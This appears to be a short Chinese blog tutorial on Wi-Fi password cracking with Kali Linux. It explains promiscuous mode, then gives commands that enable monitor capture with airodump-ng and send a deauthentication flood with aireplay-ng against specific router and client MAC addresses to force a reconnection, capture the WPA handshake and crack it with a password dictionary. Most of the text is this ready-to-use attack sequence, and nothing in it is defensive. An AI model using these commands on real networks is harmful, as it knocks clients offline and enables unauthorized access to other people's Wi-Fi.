前言
本文通过Kali系统分析无线网络,通过一些常见的工具操作。
一、准备工作
Kali系统,本文使用VirtualBox的虚拟机实验。
无线网卡(淘宝可以购买)
二、基础知识
1.网卡的混杂模式
混杂模式(promiscuous mode)是指一台机器的网卡能够接收所有经过它的数据流,而不论其目的地址是否是它。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。网卡的混杂模式是为网络分析而提供的。
三、正式开始
ifconfig -a //查看所有网卡信息
查看指定网卡的信息
即插入的无线网卡(支持广播、组播)
ifconfig wlan0 promisc //开启网卡混杂模式
ifconfig wlan0 up //激活网卡 关闭down
ifconfig wlan0 -promisc //关闭混杂模式
sudo airodump-ng wlan0//搜索信号 (家里就一个)
airodump-ng --bssid BSSID地址 -c CH信息 -w 文件位置/保存数据名 wlan0
sudo aireplay-ng -0 50 -a B8:3A:08:36:80:E1 -c 3C:7A:AA:C4:1E:67 wlan0
//打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包
如下图,已经抓到
接下来,使用字典破解包里的密码。
能否破解关键取决于字典里有没有密码。
合适的密码字典能快速破解!
master key 主密钥
transient key 临时密钥